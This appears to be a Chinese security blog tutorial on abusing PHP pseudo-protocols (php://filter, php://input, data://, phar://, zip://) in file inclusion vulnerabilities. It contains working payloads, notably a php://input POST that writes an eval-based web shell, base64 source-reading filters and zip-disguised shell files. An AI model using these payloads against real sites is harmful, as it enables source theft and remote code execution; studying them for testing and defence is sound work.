文件包含漏洞-伪协议

文件包含漏洞-伪协议

File://伪协议

  • file:// — 用于访问本地文件系统
  • php版本:5.0以上
  • 是 PHP 使用的默认封装协议
  • 当指定了一个相对路径(不以/、\、\\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录
    在这里插入图片描述

在这里插入图片描述

php://filter伪协议

  1. php://filter 伪协议用于数据流打开时的筛选过滤应用
  2. php://filter类似于readfile(),file_get_contents().设计用于数据流打开时的筛选过滤应用
  3. php 版本:5.0以上
  4. 该协议的语法:php://filter:/<action>=<name>
    在这里插入图片描述

5.php://filter的参数列表

参数功能
read读取
write写入
resource数据来源

6.read参数值可为

  • string.strip_tags:将数据流中的所有html标签清除
  • string.toupper:将数据流中的内容转换为大写
  • string.tolower:将数据流中的内容转换为小写
  • convert.base64-encode:将数据流中的内容转换为base64编码

7.利用方式:

php://filter/read=convert.base64-encode/resource=phpinfo.txt

php://filter伪协议示例:
在这里插入图片描述

php://input伪协议

1、php://input 是个可以访问请求的原始数据只读流

利用条件:

allow_url_fopen 不做要求;

allow_url_include = On

2、使用版本:5.6.0 php://input 可反复使用。

3、利用姿势:

POST 以下数据:

<?php fputs(fopen(‘shell.php’,‘w’),‘<?php @eval($_POST[cmd])?>’);?>

BP抓包上传写入shell.php文件

在这里插入图片描述

cmd调用查看目录

在这里插入图片描述

data://伪协议

data:// — 数据

使用版本: PHP 5.2.0 起 data: 数据流封装器开始有效。

用法:

data://text/plain,<?php phpinfo();?>

data://text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
在这里插入图片描述

在这里插入图片描述

http://伪协议

  1. http:// – https:// — 访问 HTTP(s) 网址
  2. 允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。
  3. HTTP 请求会附带一个 Host: 头,用于兼容基于域名的虚拟主机。 如果在你的 php.ini 文件中或字节流上下文(context)配置了 user_agent 字符串,它也会被包含在请求之中。
  4. 利用条件:allow_url_fopen=On; allow_url_include = On
    在这里插入图片描述

phar 伪协议

(1)phar协议的作用是归档,自 PHP 5.3.0 起开始有效

(2)Phar归档文件最有特色的特点是可以方便地将多个文件分组为一个文件。这样,phar归档文件提供了一种将完整的PHP应用程序分发到单个文件中并从该文件运行它的方法,而无需将其提取到磁盘中。

(3)phar 可以处理 tar,zip和phar文件
在这里插入图片描述

phar伪协议的利用方式

phar://phpinfo.zip/phpinfo.txt

注意事项:

(1)压缩包中文件的名字要和后面的一样

(2)压缩包在压缩后还可以改后缀名

其他归档压缩类扩展

Bzip2、zip、LZF等

zlib:// – bzip2:// – zip:// — 压缩流

compress.zlib://file.gz

compress.bzip2://file.bz2

zip://archive.zip#dir/file.txt

zip://伪协议

(1)使用条件:
PHP>=5.3.0,注意在windows下测试要5.3.0<PHP<5.4才可以。在浏览器中#要编码为%23, 否则浏览器默认不会传输特殊字符。
(2)利用方式:
zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
zip://xxx.zip#shell.txt
zip://xxx.png#shell.php

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
伪协议filter是一种用于文件包含伪协议。它不受allow_url_fopen和allow_url_include参数的影响,可以用来读取本地文件系统或访问HTTP、FTP等协议的URL。 在PHP中,可以使用php://filter伪协议来读取文件内容并对其进行处理。例如,使用php://filter/resource=来读取文件内容,php://filter/read=convert.base64-encode/resource=可以将文件内容以base64编码输出。 通过使用filter伪协议,攻击者可以利用文件包含漏洞来读取敏感文件,包括PHP源代码、配置文件等。因此,在编写PHP代码时,务必要注意对用户输入进行严格过滤和验证,避免文件包含漏洞的利用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [文件包含-伪协议](https://blog.csdn.net/Wu000999/article/details/101925271)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTF---Web---文件包含---02---rot13伪协议](https://blog.csdn.net/qq_22160557/article/details/119174803)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值